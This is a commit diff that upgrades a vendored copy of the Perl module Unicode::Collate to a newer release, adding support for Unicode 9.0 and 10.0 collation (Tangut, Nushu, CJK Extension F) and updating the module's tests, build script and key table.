 FAD9  ; [.FB41.0020.0002][.9F8E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FAD9
 2EF0  ; [.FB41.0020.0004][.9F99.0000.0000] # CJK RADICAL C-SIMPLIFIED DRAGON
 F907  ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F907
@@ -29875,8 +30496,8 @@
 F908  ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F908
 FACE  ; [.FB41.0020.0002][.9F9C.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FACE
 2FD4  ; [.FB41.0020.0004][.9F9C.0000.0000] # KANGXI RADICAL TURTLE
-2EF1  ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.010B.0004] # CJK RADICAL TURTLE
-2EF2  ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.010C.0004] # CJK RADICAL J-SIMPLIFIED TURTLE
+2EF1  ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.0110.0004] # CJK RADICAL TURTLE
+2EF2  ; [.FB41.0020.0004][.9F9C.0000.0000][.0000.0111.0004] # CJK RADICAL J-SIMPLIFIED TURTLE
 2EF3  ; [.FB41.0020.0004][.9F9F.0000.0000] # CJK RADICAL C-SIMPLIFIED TURTLE
 2FD5  ; [.FB41.0020.0004][.9FA0.0000.0000] # KANGXI RADICAL FLUTE
 FA0E  ; [.FB41.0020.0002][.FA0E.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA0E
@@ -30074,3 +30695,5 @@
 2F88F ; [.FB85.0020.0002][.A392.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F88F
 2FA1D ; [.FB85.0020.0002][.A600.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2FA1D
 FFFD  ; [.FFFD.0020.0002] # REPLACEMENT CHARACTER
+
+# EOF

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,17 +17,16 @@
 
 no warnings 'utf8';
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 our $PACKAGE = __PACKAGE__;
 
 ### begin XS only ###
-require DynaLoader;
-our @ISA = qw(DynaLoader);
-bootstrap Unicode::Collate $VERSION;
+use XSLoader ();
+XSLoader::load('Unicode::Collate', $VERSION);
 ### end XS only ###
 
 my @Path = qw(Unicode Collate);
-my $KeyFile = "allkeys.txt";
+my $KeyFile = 'allkeys.txt';
 
 # Perl's boolean
 use constant TRUE  => 1;
@@ -89,9 +88,9 @@
 my $HighestVCE = pack(VCE_TEMPLATE, 0, 0xFFFE, 0x20, 0x5, 0xFFFF);
 my $minimalVCE = pack(VCE_TEMPLATE, 0,      1, 0x20, 0x5, 0xFFFE);
 
-sub UCA_Version { "32" }
+sub UCA_Version { '34' }
 
-sub Base_Unicode_Version { "8.0.0" }
+sub Base_Unicode_Version { '9.0.0' }
 
 ######
 
@@ -190,11 +189,13 @@
    28 => \&_derivCE_24, # 28 == 24
    30 => \&_derivCE_24, # 30 == 24
    32 => \&_derivCE_32,
+   34 => \&_derivCE_34,
+   36 => \&_derivCE_36,
 );
 
 sub checkCollator {
     my $self = shift;
-    _checkLevel($self->{level}, "level");
+    _checkLevel($self->{level}, 'level');
 
     $self->{derivCode} = $DerivCode{ $self->{UCA_Version} }
 	or croak "Illegal UCA version (passed $self->{UCA_Version}).";
@@ -208,13 +209,13 @@
     if (! defined $self->{backwards}) {
 	$self->{backwardsFlag} = 0;
     } elsif (! ref $self->{backwards}) {
-	_checkLevel($self->{backwards}, "backwards");
+	_checkLevel($self->{backwards}, 'backwards');
 	$self->{backwardsFlag} = 1 << $self->{backwards};
     } else {
 	my %level;
 	$self->{backwardsFlag} = 0;
 	for my $b (@{ $self->{backwards} }) {
-	    _checkLevel($b, "backwards");
+	    _checkLevel($b, 'backwards');
 	    $level{$b} = 1;
 	}
 	for my $v (sort keys %level) {
@@ -439,13 +440,17 @@
 	# if and only if "all" CEs are [.0000.0000.0000].
     }
 
+    # mapping: be an array ref or not exists (any false value is disallowed)
     $self->{mapping}{$entry} = $is_L3_ignorable ? [] : \@key;
 
+    # maxlength: be more than 1 or not exists (any false value is disallowed)
     if (@uv > 1) {
 	if (!$self->{maxlength}{$uv[0]} || $self->{maxlength}{$uv[0]} < @uv) {
 	    $self->{maxlength}{$uv[0]} = @uv;
 	}
     }
+
+    # contraction: be 1 or not exists (any false value is disallowed)
     while (@uv > 2) {
 	pop @uv;
 	my $fake_entry = join(CODE_SEP, @uv); # in JCPS
@@ -514,7 +519,7 @@
 	if ($vers <= 20 && _isIllegal($src[$i])) {
 	    $src[$i] = undef;
 	} elsif ($ver9) {
-	    $src[$i] = undef if $map->{ $src[$i] }
+	    $src[$i] = undef if exists $map->{ $src[$i] }
 			   ? @{ $map->{ $src[$i] } } == 0
 			   : $uXS && _ignorable_simple($src[$i]); ### XS only
 	}
@@ -534,7 +539,7 @@
 	my $i_orig = $i;
 
 	# find contraction
-	if ($max->{$jcps}) {
+	if (exists $max->{$jcps}) {
 	    my $temp_jcps = $jcps;
 	    my $jcpsLen = 1;
 	    my $maxLen = $max->{$jcps};
@@ -543,7 +548,7 @@
 		next if ! defined $src[$p];
 		$temp_jcps .= CODE_SEP . $src[$p];
 		$jcpsLen++;
-		if ($map->{$temp_jcps}) {
+		if (exists $map->{$temp_jcps}) {
 		    $jcps = $temp_jcps;
 		    $i = $p;
 		}
@@ -570,7 +575,7 @@
 		    last unless $curCC;
 		    my $tail = CODE_SEP . $src[$p];
 
-		    if ($preCC != $curCC && $map->{$jcps.$tail}) {
+		    if ($preCC != $curCC && exists $map->{$jcps.$tail}) {
 			$jcps .= $tail;
 			push @out, $p;
 		    } else {
@@ -579,8 +584,9 @@
 
 		    next if !$long;
 
-		    if ($preCC_uc != $curCC && ($map->{$jcps_uc.$tail} ||
-					       $cont->{$jcps_uc.$tail})) {
+		    if ($preCC_uc != $curCC &&
+			    (exists $map->{$jcps_uc.$tail} ||
+			    exists $cont->{$jcps_uc.$tail})) {
 			$jcps_uc .= $tail;
 			push @out_uc, $p;
 		    } else {
@@ -588,7 +594,7 @@
 		    }
 		}
 
-		if (@out_uc && $map->{$jcps_uc}) {
+		if (@out_uc && exists $map->{$jcps_uc}) {
 		    $jcps = $jcps_uc;
 		    $src[$_] = undef for @out_uc;
 		} else {
@@ -598,7 +604,7 @@
 	}
 
 	# skip completely ignorable
-	if ($map->{$jcps} ? @{ $map->{$jcps} } == 0 :
+	if (exists $map->{$jcps} ? @{ $map->{$jcps} } == 0 :
 	    $uXS && $jcps !~ /;/ && _ignorable_simple($jcps)) { ### XS only
 	    if ($wLen && @buf) {
 		$buf[-1][2] = $i + 1;
@@ -647,7 +653,7 @@
     $u = 0xFFFD if $u !~ /;/ && 0x10FFFF < $u && !$out;
 
     my @ce;
-    if ($map->{$u}) {
+    if (exists $map->{$u}) {
 	@ce = @{ $map->{$u} }; # $u may be a contraction
 ### begin XS only ###
     } elsif ($uXS && _exists_simple($u)) {
@@ -665,27 +671,27 @@
 
 	    if (@decH == 2) {
 		my $contract = join(CODE_SEP, @decH);
-		@decH = ($contract) if $map->{$contract};
+		@decH = ($contract) if exists $map->{$contract};
 	    } else { # must be <@decH == 3>
-		if ($max->{$decH[0]}) {
+		if (exists $max->{$decH[0]}) {
 		    my $contract = join(CODE_SEP, @decH);
-		    if ($map->{$contract}) {
+		    if (exists $map->{$contract}) {
 			@decH = ($contract);
 		    } else {
 			$contract = join(CODE_SEP, @decH[0,1]);
-			$map->{$contract} and @decH = ($contract, $decH[2]);
+			exists $map->{$contract} and @decH = ($contract, $decH[2]);
 		    }
 		    # even if V's ignorable, LT contraction is not supported.
 		    # If such a situation were required, NFD should be used.
 		}
-		if (@decH == 3 && $max->{$decH[1]}) {
+		if (@decH == 3 && exists $max->{$decH[1]}) {
 		    my $contract = join(CODE_SEP, @decH[1,2]);
-		    $map->{$contract} and @decH = ($decH[0], $contract);
+		    exists $map->{$contract} and @decH = ($decH[0], $contract);
 		}
 	    }
 
 	    @ce = map({
-		    $map->{$_} ? @{ $map->{$_} } :
+		    exists $map->{$_} ? @{ $map->{$_} } :
 		$uXS && _exists_simple($_) ? _fetch_simple($_) : ### XS only
 		    $der->($_);
 		} @decH);
@@ -1098,7 +1104,7 @@
 behavior of that revision is emulated on collating.
 If omitted, the return value of C<UCA_Version()> is used.
 
-The following revisions are supported.  The default is 32.
+The following revisions are supported.  The default is 34.
 
      UCA       Unicode Standard         DUCET (@version)
    -------------------------------------------------------
@@ -1115,6 +1121,8 @@
      28             6.3.0               6.3.0 (6.3.0)
      30             7.0.0               7.0.0 (7.0.0)
      32             8.0.0               8.0.0 (8.0.0)
+     34             9.0.0               9.0.0 (9.0.0)
+     36            10.0.0              10.0.0(10.0.0)
 
 * See below for C<long_contraction> with C<UCA_Version> 22 and 24.
 
@@ -1454,13 +1462,15 @@
     U+4E00..U+9FC3 if UCA_Version is 18.
     U+4E00..U+9FCB if UCA_Version is 20 or 22.
     U+4E00..U+9FCC if UCA_Version is 24 to 30.
-    U+4E00..U+9FD5 if UCA_Version is 32.
+    U+4E00..U+9FD5 if UCA_Version is 32 or 34.
+    U+4E00..U+9FEA if UCA_Version is 36.
 
     In the CJK Unified Ideographs Extension blocks:
     Ext.A (U+3400..U+4DB5) and Ext.B (U+20000..U+2A6D6) in any UCA_Version.
     Ext.C (U+2A700..U+2B734) if UCA_Version is 20 or later.
     Ext.D (U+2B740..U+2B81D) if UCA_Version is 22 or later.
-    Ext.E (U+2B820..U+2CEA1) if UCA_Version is 32.
+    Ext.E (U+2B820..U+2CEA1) if UCA_Version is 32 or later.
+    Ext.F (U+2CEB0..U+2EBE0) if UCA_Version is 36.
 
 Through C<overrideCJK>, ordering of CJK unified ideographs (including
 extensions) can be overridden.
@@ -2037,7 +2047,8 @@
 
    http://www.unicode.org/Public/UCA/
 
-   http://www.unicode.org/Public/UCA/latest/allkeys.txt (latest version)
+   http://www.unicode.org/Public/UCA/latest/allkeys.txt
+   (latest version)
 
 If DUCET is not installed, it is recommended to copy the file
 from http://www.unicode.org/Public/UCA/latest/allkeys.txt
@@ -2081,7 +2092,7 @@
 =head1 AUTHOR, COPYRIGHT AND LICENSE
 
 The Unicode::Collate module for perl was written by SADAHIRO Tomoyuki,
-<SADAHIRO at cpan.org>. This module is Copyright(C) 2001-2016,
+<SADAHIRO at cpan.org>. This module is Copyright(C) 2001-2017,
 SADAHIRO Tomoyuki. Japan. All rights reserved.
 
 This module is free software; you can redistribute it and/or
@@ -2088,8 +2099,8 @@
 modify it under the same terms as Perl itself.
 
 The file Unicode/Collate/allkeys.txt was copied verbatim
-from L<http://www.unicode.org/Public/UCA/8.0.0/allkeys.txt>.
-For this file, Copyright (c) 2001-2015 Unicode, Inc.; distributed
+from L<http://www.unicode.org/Public/UCA/9.0.0/allkeys.txt>.
+For this file, Copyright (c) 2016 Unicode, Inc.; distributed
 under the Terms of Use in L<http://www.unicode.org/terms_of_use.html>
 
 =head1 SEE ALSO

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate.xs
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -52,11 +52,13 @@
 
 #define CJK_UidIni    (0x4E00)
 #define CJK_UidFin    (0x9FA5)
-#define CJK_UidF41    (0x9FBB)
-#define CJK_UidF51    (0x9FC3)
-#define CJK_UidF52    (0x9FCB)
-#define CJK_UidF61    (0x9FCC)
-#define CJK_UidF80    (0x9FD5)
+#define CJK_UidF41    (0x9FBB) /* Unicode 4.1 */
+#define CJK_UidF51    (0x9FC3) /* Unicode 5.1 */
+#define CJK_UidF52    (0x9FCB) /* Unicode 5.2 */
+#define CJK_UidF61    (0x9FCC) /* Unicode 6.1 */
+#define CJK_UidF80    (0x9FD5) /* Unicode 8.0 */
+#define CJK_UidF100   (0x9FEA) /* Unicode 10.0 */
+
 #define CJK_ExtAIni   (0x3400) /* Unicode 3.0 */
 #define CJK_ExtAFin   (0x4DB5) /* Unicode 3.0 */
 #define CJK_ExtBIni  (0x20000) /* Unicode 3.1 */
@@ -67,6 +69,8 @@
 #define CJK_ExtDFin  (0x2B81D) /* Unicode 6.0 */
 #define CJK_ExtEIni  (0x2B820) /* Unicode 8.0 */
 #define CJK_ExtEFin  (0x2CEA1) /* Unicode 8.0 */
+#define CJK_ExtFIni  (0x2CEB0) /* Unicode 10.0 */
+#define CJK_ExtFFin  (0x2EBE0) /* Unicode 10.0 */
 
 #define CJK_CompIni  (0xFA0E)
 #define CJK_CompFin  (0xFA29)
@@ -74,6 +78,13 @@
       1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1
 }; /* E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 */
 
+#define TangIdeoIni  (0x17000) /* Unicode 9.0 */
+#define TangIdeoFin  (0x187EC) /* Unicode 9.0 */
+#define TangCompIni  (0x18800) /* Unicode 9.0 */
+#define TangCompFin  (0x18AF2) /* Unicode 9.0 */
+#define NushuIni     (0x1B170) /* Unicode 10.0 */
+#define NushuFin     (0x1B2FB) /* Unicode 10.0 */
+
 #define codeRange(bcode, ecode)	((bcode) <= code && code <= (ecode))
 
 MODULE = Unicode::Collate	PACKAGE = Unicode::Collate
@@ -270,24 +281,37 @@
     _derivCE_22 = 4
     _derivCE_24 = 5
     _derivCE_32 = 6
+    _derivCE_34 = 7
+    _derivCE_36 = 8
   PREINIT:
     UV base, aaaa, bbbb;
     U8 a[VCE_Length + 1] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00";
     U8 b[VCE_Length + 1] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-    bool basic_unified = 0;
+    bool basic_unified = 0, tangut = 0, nushu = 0;
   PPCODE:
-    if (CJK_UidIni <= code) {
+    if (codeRange(CJK_UidIni, CJK_CompFin)) {
 	if (codeRange(CJK_CompIni, CJK_CompFin))
 	    basic_unified = (bool)UnifiedCompat[code - CJK_CompIni];
 	else
-	    basic_unified = (ix >= 6 ? (code <= CJK_UidF80) :
+	    basic_unified = (ix >= 8 ? (code <= CJK_UidF100) :
+			     ix >= 6 ? (code <= CJK_UidF80) :
 			     ix == 5 ? (code <= CJK_UidF61) :
 			     ix >= 3 ? (code <= CJK_UidF52) :
 			     ix == 2 ? (code <= CJK_UidF51) :
 			     ix == 1 ? (code <= CJK_UidF41) :
 				       (code <= CJK_UidFin));
+    } else {
+	if (ix >= 7)
+	    tangut = (codeRange(TangIdeoIni, TangIdeoFin) ||
+		      codeRange(TangCompIni, TangCompFin));
+	if (ix >= 8)
+	    nushu = (codeRange(NushuIni, NushuFin));
     }
-    base = (basic_unified)
+    base = tangut
+	    ? 0xFB00 :
+	   nushu
+	    ? 0xFB01 :
+	   basic_unified
 	    ? 0xFB40 : /* CJK */
 	   ((codeRange(CJK_ExtAIni, CJK_ExtAFin))
 		||
@@ -297,11 +321,14 @@
 		||
 	    (ix >= 4 && codeRange(CJK_ExtDIni, CJK_ExtDFin))
 		||
-	    (ix >= 6 && codeRange(CJK_ExtEIni, CJK_ExtEFin)))
+	    (ix >= 6 && codeRange(CJK_ExtEIni, CJK_ExtEFin))
+		||
+	    (ix >= 8 && codeRange(CJK_ExtFIni, CJK_ExtFFin)))
 	    ? 0xFB80   /* CJK ext. */
 	    : 0xFBC0;  /* others */
-    aaaa =  base + (code >> 15);
-    bbbb = (code & 0x7FFF) | 0x8000;
+    aaaa = tangut || nushu ? base : base + (code >> 15);
+    bbbb = (tangut ? (code - TangIdeoIni) :
+	    nushu  ? (code - NushuIni) : (code & 0x7FFF)) | 0x8000;
     a[1] = (U8)(aaaa >> 8);
     a[2] = (U8)(aaaa & 0xFF);
     b[1] = (U8)(bbbb >> 8);
@@ -362,7 +389,8 @@
 	if (codeRange(CJK_CompIni, CJK_CompFin))
 	    basic_unified = (bool)UnifiedCompat[code - CJK_CompIni];
 	else
-	    basic_unified = (uca_vers >= 32 ? (code <= CJK_UidF80) :
+	    basic_unified = (uca_vers >= 36 ? (code <= CJK_UidF100) :
+			     uca_vers >= 32 ? (code <= CJK_UidF80) :
 			     uca_vers >= 24 ? (code <= CJK_UidF61) :
 			     uca_vers >= 20 ? (code <= CJK_UidF52) :
 			     uca_vers >= 18 ? (code <= CJK_UidF51) :
@@ -381,6 +409,8 @@
 	(uca_vers >= 22 && codeRange(CJK_ExtDIni, CJK_ExtDFin))
 		||
 	(uca_vers >= 32 && codeRange(CJK_ExtEIni, CJK_ExtEFin))
+		||
+	(uca_vers >= 36 && codeRange(CJK_ExtFIni, CJK_ExtFFin))
     );
 OUTPUT:
     RETVAL
@@ -549,6 +579,7 @@
     U8 *a, *v, *d;
     STRLEN alen, vlen;
     bool ig_l2;
+    IV uca_vers;
     UV totwt;
   CODE:
     if (SvROK(self) && SvTYPE(SvRV(self)) == SVt_PVHV)
@@ -593,8 +624,18 @@
 		    d[7] = d[1]; /* wt level 1 to 4 */
 		    d[8] = d[2];
 		} else {
-		    d[7] = (U8)(Shift4Wt >> 8);
-		    d[8] = (U8)(Shift4Wt & 0xFF);
+		    svp = hv_fetch(selfHV, "UCA_Version", 11, FALSE);
+		    if (!svp)
+			croak("Panic: no $self->{UCA_Version} in varCE");
+		    uca_vers = SvIV(*svp);
+
+		    /* completely ignorable or the second derived CE */
+		    if (uca_vers >= 36 && d[3] + d[4] + d[5] + d[6] == 0) {
+			d[7] = d[8] = '\0';
+		    } else {
+			d[7] = (U8)(Shift4Wt >> 8);
+			d[8] = (U8)(Shift4Wt & 0xFF);
+		    }
 		}
 	    } else { /* shift-trimmed or completely ignorable */
 		d[7] = d[8] = '\0';

Modified: vendor/perl/dist/cpan/Unicode-Collate/Makefile.PL
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,9 +5,9 @@
 
 if (-f "Collate.xs") {
     print "Making header files for XS...\n";
-
-    do 'mkheader' or die $@ || "mkheader: $!";
-
+    # Should $mkh be File::Spec->catfile(File::Spec->curdir(), 'mkheader') ?
+    my $mkh = './mkheader';
+    do $mkh or die $@ || "mkheader: $!";
     $clean = { FILES => 'ucatbl.h' };
 }
 
@@ -22,9 +22,9 @@
     'clean'             => $clean,
     'PREREQ_PM'         => {
         Carp            => 0,
+        File::Spec      => 0,
+        XSLoader        => 0,
         constant        => 0,
-        DynaLoader      => 0,
-        File::Spec      => 0,
         strict          => 0,
         warnings        => 0,
     },

Modified: vendor/perl/dist/cpan/Unicode-Collate/mkheader
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/mkheader	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/mkheader	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 # used for building XSUB of Unicode::Collate.
 #
 # Usage:
-#    <do 'mkheader'> in perl, or <perl mkheader> in command line
+#    <do './mkheader'> in perl, or <perl mkheader> in command line
 #
 # Input file:
 #    Collate/allkeys.txt

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/cjkrange.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/cjkrange.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/cjkrange.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..664\n"; } # 1 + 51 x @Versions
+BEGIN { $| = 1; print "1..901\n"; } # 1 + 60 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -47,6 +47,7 @@
 # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
 # 9FCC       is  CJK UI since UCA_Version 24 (Unicode 6.1).
 # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
 
 # 3400..4DB5   are CJK UI Ext.A since UCA_Version 8  (Unicode 3.0).
 # 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8  (Unicode 3.1).
@@ -53,8 +54,9 @@
 # 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2).
 # 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0).
 # 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0).
+# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0).
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     $coll->change(UCA_Version => $v);
@@ -71,7 +73,9 @@
     ok($coll->cmp("\x{3400}", "\x{9FCC}") == ($v >= 24 ? 1 : -1)); # new
     ok($coll->cmp("\x{3400}", "\x{9FCD}") == ($v >= 32 ? 1 : -1)); # new
     ok($coll->cmp("\x{3400}", "\x{9FD5}") == ($v >= 32 ? 1 : -1)); # new
-    ok($coll->cmp("\x{3400}", "\x{9FD6}") == -1); # na
+    ok($coll->cmp("\x{3400}", "\x{9FD6}") == ($v >= 36 ? 1 : -1)); # new
+    ok($coll->cmp("\x{3400}", "\x{9FEA}") == ($v >= 36 ? 1 : -1)); # new
+    ok($coll->cmp("\x{3400}", "\x{9FEB}") == -1); # na
     ok($coll->cmp("\x{3400}", "\x{9FFF}") == -1); # na
 
     # UI < UI
@@ -85,8 +89,10 @@
     ok($coll->cmp("\x{9FCB}", "\x{9FCC}") == -1); # new < new
     ok($coll->cmp("\x{9FCC}", "\x{9FCD}") == -1); # new < new
     ok($coll->cmp("\x{9FCD}", "\x{9FD5}") == -1); # new < new
-    ok($coll->cmp("\x{9FD5}", "\x{9FD6}") == -1); # new < na
-    ok($coll->cmp("\x{9FD6}", "\x{9FFF}") == -1); # na < na
+    ok($coll->cmp("\x{9FD5}", "\x{9FD6}") == -1); # new < new
+    ok($coll->cmp("\x{9FD6}", "\x{9FEA}") == -1); # new < new
+    ok($coll->cmp("\x{9FEA}", "\x{9FEB}") == -1); # new < na
+    ok($coll->cmp("\x{9FEB}", "\x{9FFF}") == -1); # na < na
 
     # Ext.A < Ext.B
     ok($coll->cmp("\x{3400}", "\x{20000}") == -1);
@@ -125,5 +131,12 @@
     ok($coll->cmp("\x{2FFF}", "\x{2CEA1}") == ($v >= 32 ? 1 : -1)); # na > E
     ok($coll->cmp("\x{2FFF}", "\x{2CEA2}") == -1); # na < na
     ok($coll->cmp("\x{2FFF}", "\x{2CEAF}") == -1); # na < na
+
+    # Ext.F
+    ok($coll->cmp("\x{2CEB0}","\x{2EBE0}") == -1); # F < F
+    ok($coll->cmp("\x{2FFF}", "\x{2CEB0}") == ($v >= 36 ? 1 : -1)); # na > F
+    ok($coll->cmp("\x{2FFF}", "\x{2EBE0}") == ($v >= 36 ? 1 : -1)); # na > F
+    ok($coll->cmp("\x{2FFF}", "\x{2EBE1}") == -1); # na < na
+    ok($coll->cmp("\x{2FFF}", "\x{2EBEF}") == -1); # na < na
 }
 

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/compatui.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/compatui.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/compatui.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..911\n"; } # 1 + 70 x @Versions
+BEGIN { $| = 1; print "1..1051\n"; } # 1 + 70 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -33,7 +33,7 @@
 
 #########################
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 # 12 compatibility ideographs are treated as unified ideographs:
 # FA0E, FA0F, FA11, FA13, FA14, FA1F, FA21, FA23, FA24, FA27, FA28, FA29.

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/hangtype.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/hangtype.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/hangtype.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..651\n"; } # 1 + 50 x @Versions
+BEGIN { $| = 1; print "1..751\n"; } # 1 + 50 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -33,7 +33,7 @@
 
 #########################
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     ok(Unicode::Collate::getHST(0x0000, $v), '');

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/illegal.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/illegal.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/illegal.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -30,7 +30,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..146\n"; } # 81 + 5 x @Versions
+BEGIN { $| = 1; print "1..156\n"; } # 81 + 5 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -192,7 +192,7 @@
     overrideOut => sub { 0xFFFD },
 );
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     $out->change(UCA_Version => $v);

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_af.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_af.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_af.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -43,12 +43,18 @@
 ok($objAf->eq("n", "N"));
 ok($objAf->eq("N", "\x{149}"));
 
+# 4
+
 $objAf->change(level => 2);
 
 ok($objAf->eq("n", "N"));
 ok($objAf->eq("N", "\x{149}"));
 
+# 6
+
 $objAf->change(level => 3);
 
 ok($objAf->lt("n", "N"));
 ok($objAf->lt("N", "\x{149}"));
+
+# 8

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_az.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_az.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_az.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..75\n"; }
+BEGIN { $| = 1; print "1..86\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,33 +41,44 @@
 $objAz->change(level => 1);
 
 ok($objAz->lt("c", "c\x{327}"));
+ok($objAz->lt("cz","c\x{327}"));
 ok($objAz->gt("d", "c\x{327}"));
 ok($objAz->lt("g", "g\x{306}"));
+ok($objAz->lt("gz","g\x{306}"));
 ok($objAz->gt("h", "g\x{306}"));
 ok($objAz->lt("h", "I"));
+ok($objAz->lt("hz","I"));
 ok($objAz->lt("I", "i"));
+ok($objAz->lt("Iz","i"));
 ok($objAz->gt("j", "i"));
 ok($objAz->lt("o", "o\x{308}"));
+ok($objAz->lt("oz","o\x{308}"));
 ok($objAz->gt("p", "o\x{308}"));
 ok($objAz->lt("s", "s\x{327}"));
+ok($objAz->lt("sz","s\x{327}"));
 ok($objAz->gt("t", "s\x{327}"));
 ok($objAz->lt("u", "u\x{308}"));
+ok($objAz->lt("uz","u\x{308}"));
 ok($objAz->gt("v", "u\x{308}"));
 
-# 15
+# 22
 
 ok($objAz->lt("k", "q"));
 ok($objAz->lt("kz","q"));
 ok($objAz->gt("l", "q"));
 ok($objAz->lt("e", "\x{259}"));
+ok($objAz->lt("ez","\x{259}"));
 ok($objAz->gt("f", "\x{259}"));
 ok($objAz->lt("h", "x"));
 ok($objAz->lt("hz","x"));
-ok($objAz->gt("I","x"));
-ok($objAz->gt("i","x"));
+ok($objAz->lt("x", "I"));
+ok($objAz->lt("xz","I"));
+ok($objAz->lt("x", "i"));
+ok($objAz->lt("xz","i"));
 ok($objAz->lt("z", "w"));
+ok($objAz->lt("zz","w"));
 
-# 25
+# 36
 
 $objAz->change(level => 2);
 
@@ -83,7 +94,7 @@
 ok($objAz->eq("x", "X"));
 ok($objAz->eq("z", "Z"));
 
-# 36
+# 47
 
 $objAz->change(level => 3);
 
@@ -99,7 +110,7 @@
 ok($objAz->lt("x", "X"));
 ok($objAz->lt("z", "Z"));
 
-# 47
+# 58
